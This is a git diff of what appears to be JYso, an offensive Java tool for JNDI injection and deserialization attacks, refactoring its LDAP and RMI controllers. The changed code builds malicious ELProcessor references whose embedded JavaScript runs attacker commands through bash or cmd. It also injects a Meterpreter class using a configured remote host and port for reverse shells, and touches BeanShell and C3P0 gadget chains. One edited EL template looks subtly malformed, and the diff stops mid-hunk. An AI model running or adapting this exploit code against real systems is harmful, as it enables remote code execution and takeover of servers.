--- a/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java
+++ b/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java
@@ -1,10 +1,7 @@
package com.qi4l.JYso.controllers;
-import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
-import com.qi4l.JYso.gadgets.Config.Config;
-import com.qi4l.JYso.gadgets.URLDNS;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Utils;
@@ -14,30 +11,23 @@ import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
-import org.fusesource.jansi.Ansi;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import javax.naming.StringRefAddr;
import java.lang.reflect.Field;
-import java.util.Locale;
-
-import static com.qi4l.JYso.controllers.BasicController.getStringQ;
-
+@SuppressWarnings("unused")
@LdapMapping(uri = {"/elprocessor"})
-public class ELProcessorController implements LdapController {
- private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")"
+public class ELProcessorController extends BaseLdapController {
+ private static final String SCRIPT_TEMPLATE = "{\"\"}.getClass().forName(\"javax.script.ScriptEngineManager\")"
+ ".newInstance().getEngineByName(\"JavaScript\")"
+ ".eval(\"%s\")}";
private static final Logger log = LogManager.getLogger(ELProcessorController.class);
private String payloadType;
- // 记录解析请求时提取出的命令参数或回连信息。
private String[] params = new String[0];
- private GadgetType gadgetType;
- // 向 LDAP 客户端返回序列化后的 ELProcessor 引用。
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
@@ -59,34 +49,19 @@ public class ELProcessorController implements LdapController {
entry.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
- } catch (Throwable er) {
+ } catch (Exception er) {
System.err.println("Error while generating or serializing payload");
- log.error(String.valueOf(er));
+ log.error("Error while generating or serializing payload", er);
}
}
- // 解析请求路径,确定 payload 类型及其所需参数。
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
- System.out.println("- JNDI LDAP Local Reference Links + ELProcessor");
- try {
- String normalized = base.replace('\\', '/');
- payloadType = segment(normalized, 1);
- if (payloadType.isEmpty()) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
- }
- System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
-
- gadgetType = parseGadgetType(normalized);
- params = resolveParams(normalized);
- } catch (Exception e) {
- if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
-
- throw new IncorrectParamsException("Incorrect params: " + base);
- }
+ ParseResult result = parseBase(base, "- JNDI LDAP Local Reference Links + ELProcessor");
+ payloadType = result.payloadType;
+ params = result.params;
}
- // 构造注入到 ELProcessor 中的 JavaScript 代码。
private String buildPayloadScript() throws Exception {
TomcatBypassHelper helper = new TomcatBypassHelper();
String scriptBody;
@@ -107,56 +82,6 @@ public class ELProcessorController implements LdapController {
return SCRIPT_TEMPLATE.replace("%s", scriptBody.replace("\"", "\\\""));
}
- // 解析路径中的 gadget 片段并转换为枚举。
- private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
- String segment = segment(base, 2);
- if (segment.isEmpty()) return null;
-
- try {
- return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
- } catch (IllegalArgumentException ignored) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
- }
- }
-
- // 根据不同 gadget 类型构建命令参数或回连配置。
- private String[] resolveParams(String base) throws Exception {
- if (gadgetType == null) return new String[0];
-
- switch (gadgetType) {
- case base64:
- String cmd = Utils.getCmdFromBase(base);
- System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
- return new String[]{cmd};
- case shell:
- String encoded = Utils.getCmdFromBase(base);
- String decoded = Utils.base64Decode(encoded);
- System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
- return decoded.split(" ");
- case msf:
- String[] results = Utils.getIPAndPortFromBase(base);
- Config.rhost = results[0];
- Config.rport = results[1];
- System.out.println("[+] RemoteHost: " + results[0]);
- System.out.println("[+] RemotePort: " + results[1]);
- return results;
- default:
- return new String[0];
- }
- }
-
- // 提取路径中的第 index 个非空段,保持与原有解析方式一致。
- private String segment(String base, int index) {
- return getStringQ(base, index);
- }
-
- // 返回连字符后的子串,用于解析自定义类名。
- private String suffixAfterDash(String value) {
- int dashIndex = value.indexOf('-');
- return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
- }
-
- // 封装 Tomcat 环境下 ELProcessor 的注入辅助逻辑,保持主控制器简洁。
private class TomcatBypassHelper {
String injectInterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class> clazz = Class.forName("com.qi4l.JYso.template.com.qi4l.JYso.template.Meterpreter");
@@ -171,17 +96,7 @@ public class ELProcessorController implements LdapController {
}
String getExecCode(String cmd) {
- return "var str_s=new Array(3);\n"
- + " if(java.io.File.separator.equals('/')){\n"
- + " str_s[0]='/bin/bash';\n"
- + " str_s[1]='-c';\n"
- + " str_s[2]='" + cmd + "';\n"
- + " }else{\n"
- + " str_s[0]='cmd';\n"
- + " str_s[1]='/C';\n"
- + " str_s[2]='" + cmd + "';\n"
- + " }\n"
- + " java.lang.Runtime.getRuntime().exec(str_s);";
+ return BaseLdapController.getExecCode(cmd);
}
}
}
diff --git a/src/main/java/com/qi4l/JYso/controllers/GroovyController.java b/src/main/java/com/qi4l/JYso/controllers/GroovyController.java
index a8eb4f0..bfad1fe 100644
--- a/src/main/java/com/qi4l/JYso/controllers/GroovyController.java
+++ b/src/main/java/com/qi4l/JYso/controllers/GroovyController.java
@@ -24,6 +24,7 @@ import javax.naming.StringRefAddr;
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
*/
+@SuppressWarnings("unused")
@LdapMapping(uri = {"/groovy"})
public class GroovyController implements LdapController {
private String[] params;
diff --git a/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java b/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java
index cdcc188..b342535 100644
--- a/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java
+++ b/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java
@@ -15,6 +15,7 @@ import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
+@SuppressWarnings("unused")
@LdapMapping(uri = {"/memoryxxe"})
public class MemoryXXEController implements LdapController {
private String[] params;
diff --git a/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java b/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java
index 0d3b24a..c771e6e 100644
--- a/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java
+++ b/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java
@@ -21,6 +21,7 @@ import java.util.Base64;
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
+@SuppressWarnings("unused")
@LdapMapping(uri = {"/deserialization"})
public class SerializedDataController implements LdapController {
private static final Logger log = LogManager.getLogger(SerializedDataController.class);
diff --git a/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java b/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java
index c9584a7..b04800c 100644
--- a/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java
+++ b/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java
@@ -15,6 +15,7 @@ import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
+@SuppressWarnings("unused")
@LdapMapping(uri = {"/snakeyaml"})
public class SnakeYamlController implements LdapController {
private String[] params;
diff --git a/src/main/java/com/qi4l/JYso/controllers/XStreamController.java b/src/main/java/com/qi4l/JYso/controllers/XStreamController.java
index 3268f17..f4b2b01 100644
--- a/src/main/java/com/qi4l/JYso/controllers/XStreamController.java
+++ b/src/main/java/com/qi4l/JYso/controllers/XStreamController.java
@@ -14,6 +14,7 @@ import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
+@SuppressWarnings("unused")
@LdapMapping(uri = {"/xstream"})
public class XStreamController implements LdapController {
private String[] params;
diff --git a/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java b/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java
index 4ee3c99..0813665 100644
--- a/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java
+++ b/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java
@@ -12,46 +12,34 @@ import org.fusesource.jansi.Ansi;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
+@SuppressWarnings("unused")
@LdapMapping(uri = {"/jdbc1"})
-public class jdbcController1 implements LdapController {
+public class jdbcController1 extends BaseLdapController {
private static final Logger log = LogManager.getLogger(jdbcController1.class);
private static String driverq;
-
private static String factoryType;
private static String[] params;
private static GadgetType gadgetType;
public static void printResultJDBC1(String base) throws Exception {
base = base.replace('\\', '/');
- int fistIndex = base.indexOf("/");
- int secondIndex = base.indexOf("/", fistIndex + 1);
- if (secondIndex < 0) secondIndex = base.length();
- try {
- driverq = base.substring(fistIndex + 1, secondIndex);
- System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset());
- } catch (IllegalArgumentException e) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
+ driverq = segment(base, 1);
+ if (driverq.isEmpty()) {
+ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base);
}
+ System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset());
- int thirdIndex = base.indexOf("/", secondIndex + 1);
- if (thirdIndex < 0) thirdIndex = base.length();
+ factoryType = segment(base, 2);
+ System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
- try {
- factoryType = base.substring(secondIndex + 1, thirdIndex);
- System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
- } catch (IllegalArgumentException e) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
- }
-
- int fourthIndex = base.indexOf("/", thirdIndex + 1);
-
- if (fourthIndex != -1) {
+ String gadgetStr = segment(base, 3);
+ if (!gadgetStr.isEmpty()) {
try {
- gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
+ gadgetType = GadgetType.valueOf(gadgetStr.toLowerCase());
} catch (IllegalArgumentException e) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
+ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + gadgetStr);
}
}
@@ -76,9 +64,9 @@ public class jdbcController1 implements LdapController {
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
- } catch (Throwable er) {
+ } catch (Exception er) {
System.err.println("Error while generating or serializing payload");
- log.error(String.valueOf(er));
+ log.error("Error while generating or serializing payload", er);
}
}
diff --git a/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java b/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java
index b99379e..1fdf6a5 100644
--- a/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java
+++ b/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java
@@ -17,6 +17,7 @@ import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.util.Enumeration;
+@SuppressWarnings("unused")
@LdapMapping(uri = {"/jdbc2"})
public class jdbcController2 implements LdapController {
diff --git a/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java b/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java
index cb0ae3f..acbc2c7 100644
--- a/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java
+++ b/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java
@@ -11,6 +11,7 @@ import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
+@SuppressWarnings("unused")
@LdapMapping(uri = {"/ldap2rmi"})
public class ldap2rmiController implements LdapController {
diff --git a/src/main/java/com/qi4l/JYso/controllers/rmi/Basic.java b/src/main/java/com/qi4l/JYso/controllers/rmi/Basic.java
index 280c6fc..b860bf0 100644
--- a/src/main/java/com/qi4l/JYso/controllers/rmi/Basic.java
+++ b/src/main/java/com/qi4l/JYso/controllers/rmi/Basic.java
@@ -1,30 +1,25 @@
package com.qi4l.JYso.controllers.rmi;
-import com.qi4l.JYso.enumtypes.GadgetType;
+import com.qi4l.JYso.controllers.BaseLdapController.ParseResult;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
-import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.Meterpreter;
import org.fusesource.jansi.Ansi;
import javax.naming.Reference;
import java.net.URL;
-import java.util.Locale;
-/**
- * Build remote-loading Reference for RMI lookup path:
- * basic/{payload}/{gadget}/{arg}
- */
+import static com.qi4l.JYso.controllers.BaseLdapController.*;
+
public class Basic {
- private static String payloadType;
- private static String[] params = new String[0];
- private static GadgetType gadgetType;
public static Reference basic(String base) throws Exception {
- parse(base);
+ ParseResult result = parseBase(base, "- JNDI RMI Remote Reference Links ");
+ String payloadType = result.payloadType;
+ String[] params = result.params;
String className;
if (payloadType.contains("E-")) {
@@ -49,87 +44,4 @@ public class Basic {
return new Reference("Foo", className, Config.codeBase);
}
-
- private static void parse(String base) {
- System.out.println("- JNDI RMI Remote Reference Links ");
- try {
- String normalized = base.replace('\\', '/');
- payloadType = segment(normalized, 1);
- if (payloadType.isEmpty()) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
- }
- System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
-
- gadgetType = parseGadgetType(normalized);
- params = resolveParams(normalized);
- } catch (Exception e) {
- if (e instanceof UnSupportedPayloadTypeException) {
- throw (UnSupportedPayloadTypeException) e;
- }
- throw new IncorrectParamsException("Incorrect params >> " + base);
- }
- }
-
- private static GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
- String segment = segment(base, 2);
- if (segment.isEmpty()) {
- return null;
- }
- try {
- return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
- } catch (IllegalArgumentException ignored) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
- }
- }
-
- private static String[] resolveParams(String base) throws Exception {
- if (gadgetType == null) {
- return new String[0];
- }
-
- switch (gadgetType) {
- case base64:
- String cmd = Utils.getCmdFromBase(base);
- System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
- return new String[]{cmd};
- case shell:
- String encoded = Utils.getCmdFromBase(base);
- String decoded = Utils.base64Decode(encoded);
- System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
- return decoded.split(" ");
- case msf:
- String[] results = Utils.getIPAndPortFromBase(base);
- Config.rhost = results[0];
- Config.rport = results[1];
- System.out.println(" RemoteHost: " + results[0]);
- System.out.println(" RemotePort: " + results[1]);
- return results;
- default:
- return new String[0];
- }
- }
-
- private static String segment(String base, int index) {
- int cursor = 0;
- int found = 0;
- while (cursor < base.length()) {
- int nextSlash = base.indexOf('/', cursor);
- if (nextSlash == -1) {
- nextSlash = base.length();
- }
- if (nextSlash > cursor) {
- if (found == index) {
- return base.substring(cursor, nextSlash);
- }
- found++;
- }
- cursor = nextSlash + 1;
- }
- return "";
- }
-
- private static String suffixAfterDash(String value) {
- int dashIndex = value.indexOf('-');
- return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
- }
}
diff --git a/src/main/java/com/qi4l/JYso/controllers/rmi/ELProcessor.java b/src/main/java/com/qi4l/JYso/controllers/rmi/ELProcessor.java
index 6b64427..964ed89 100644
--- a/src/main/java/com/qi4l/JYso/controllers/rmi/ELProcessor.java
+++ b/src/main/java/com/qi4l/JYso/controllers/rmi/ELProcessor.java
@@ -1,35 +1,31 @@
package com.qi4l.JYso.controllers.rmi;
-import com.qi4l.JYso.enumtypes.GadgetType;
+import com.qi4l.JYso.controllers.BaseLdapController;
+import com.qi4l.JYso.controllers.BaseLdapController.ParseResult;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
-import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
-import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.Meterpreter;
import org.apache.naming.ResourceRef;
-import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
-import java.util.Locale;
-/**
- * Build local-loading ResourceRef for RMI lookup path:
- * ELProcessor/{payload}/{gadget}/{arg}
- */
+import static com.qi4l.JYso.controllers.BaseLdapController.*;
+
public class ELProcessor {
- private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")"
+ private static final String SCRIPT_TEMPLATE = "{\"\"}.getClass().forName(\"javax.script.ScriptEngineManager\")"
+ ".newInstance().getEngineByName(\"JavaScript\")"
+ ".eval(\"%s\")}";
private static String payloadType;
private static String[] params = new String[0];
- private static GadgetType gadgetType;
public static ResourceRef refTomcatBypass(String base) throws Exception {
- parse(base);
+ ParseResult result = parseBase(base, "- JNDI RMI Local Reference Links + ELProcessor");
+ payloadType = result.payloadType;
+ params = result.params;
ResourceRef ref = new ResourceRef(
"javax.el.ELProcessor",
@@ -45,26 +41,6 @@ public class ELProcessor {
return ref;
}
- private static void parse(String base) {
- System.out.println("- JNDI RMI Local Reference Links + ELProcessor");
- try {
- String normalized = base.replace('\\', '/');
- payloadType = segment(normalized, 1);
- if (payloadType.isEmpty()) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
- }
- System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
-
- gadgetType = parseGadgetType(normalized);
- params = resolveParams(normalized);
- } catch (Exception e) {
- if (e instanceof UnSupportedPayloadTypeException) {
- throw (UnSupportedPayloadTypeException) e;
- }
- throw new IncorrectParamsException("Incorrect params: " + base);
- }
- }
-
private static String buildPayloadScript() throws Exception {
String scriptBody;
if (payloadType.contains("E-")) {
@@ -77,7 +53,7 @@ public class ELProcessor {
if (params.length == 0) {
throw new IncorrectParamsException("Missing command parameters.");
}
- scriptBody = getExecCode(params[0]);
+ scriptBody = BaseLdapController.getExecCode(params[0]);
} else if (payloadType.contains("msf")) {
scriptBody = InjShell.injectClass(Meterpreter.class);
} else {
@@ -86,82 +62,4 @@ public class ELProcessor {
return String.format(SCRIPT_TEMPLATE, scriptBody.replace("\"", "\\\""));
}
-
- private static GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
- String segment = segment(base, 2);
- if (segment.isEmpty()) {
- return null;
- }
-
- try {
- return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
- } catch (IllegalArgumentException ignored) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
- }
- }
-
- private static String[] resolveParams(String base) throws Exception {
- if (gadgetType == null) {
- return new String[0];
- }
-
- switch (gadgetType) {
- case base64:
- String cmd = Utils.getCmdFromBase(base);
- System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
- return new String[]{cmd};
- case shell:
- String encoded = Utils.getCmdFromBase(base);
- String decoded = Utils.base64Decode(encoded);
- System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
- return decoded.split(" ");
- case msf:
- String[] results = Utils.getIPAndPortFromBase(base);
- Config.rhost = results[0];
- Config.rport = results[1];
- System.out.println(" RemoteHost: " + results[0]);
- System.out.println(" RemotePort: " + results[1]);
- return results;
- default:
- return new String[0];
- }
- }
-
- private static String getExecCode(String cmd) {
- return "var str_s=new Array(3);\n"
- + "if(java.io.File.separator.equals('/')){\n"
- + "str_s[0]='/bin/bash';\n"
- + "str_s[1]='-c';\n"
- + "str_s[2]='" + cmd + "';\n"
- + "}else{\n"
- + "str_s[0]='cmd';\n"
- + "str_s[1]='/C';\n"
- + "str_s[2]='" + cmd + "';\n"
- + "}\n"
- + "java.lang.Runtime.getRuntime().exec(str_s);";
- }
-
- private static String segment(String base, int index) {
- int cursor = 0;
- int found = 0;
- while (cursor < base.length()) {
- int nextSlash = base.indexOf('/', cursor);
- if (nextSlash == -1) {
- nextSlash = base.length();
- }
- if (nextSlash > cursor) {
- if (found == index) {
- return base.substring(cursor, nextSlash);
- }
- found++;
- }
- cursor = nextSlash + 1;
- }
- return "";
- }
-
- private static String suffixAfterDash(String value) {
- int dashIndex = value.indexOf('-');
- return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
- }
}
diff --git a/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java b/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java
index 05f9a8f..a43def1 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java
@@ -5,7 +5,7 @@ import bsh.XThis;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
-import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
+
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
@@ -22,7 +22,7 @@ import java.util.PriorityQueue;
public class BeanShell1 implements ObjectPayload
{
public PriorityQueue getObject(String command) throws Exception {
- String payload = BeanShellUtil.makeBeanShellPayload(command);
+ String payload = com.qi4l.JYso.gadgets.utils.Utils.makeBeanShellPayload(command);
Interpreter i = new Interpreter();
i.eval(payload);
diff --git a/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java b/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java
index 1ffebc7..8331b86 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java
@@ -4,7 +4,7 @@ import bsh.Interpreter;
import bsh.NameSpace;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
-import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
+
import java.lang.reflect.*;
import java.util.Comparator;
@@ -20,7 +20,7 @@ import java.util.PriorityQueue;
public class BeanShell2 implements ObjectPayload {
public PriorityQueue getObject(String command) throws Exception {
- String payload = BeanShellUtil.makeBeanShellPayload(command);
+ String payload = com.qi4l.JYso.gadgets.utils.Utils.makeBeanShellPayload(command);
Interpreter i = new Interpreter();
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P04.java b/src/main/java/com/qi4l/JYso/gadgets/C3P04.java
index ff661a6..869e7ed 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/C3P04.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/C3P04.java
@@ -4,7 +4,6 @@ import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
-import com.qi4l.JYso.gadgets.utils.HexUtils;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef;
@@ -97,8 +96,8 @@ public class C3P04 implements ObjectPayload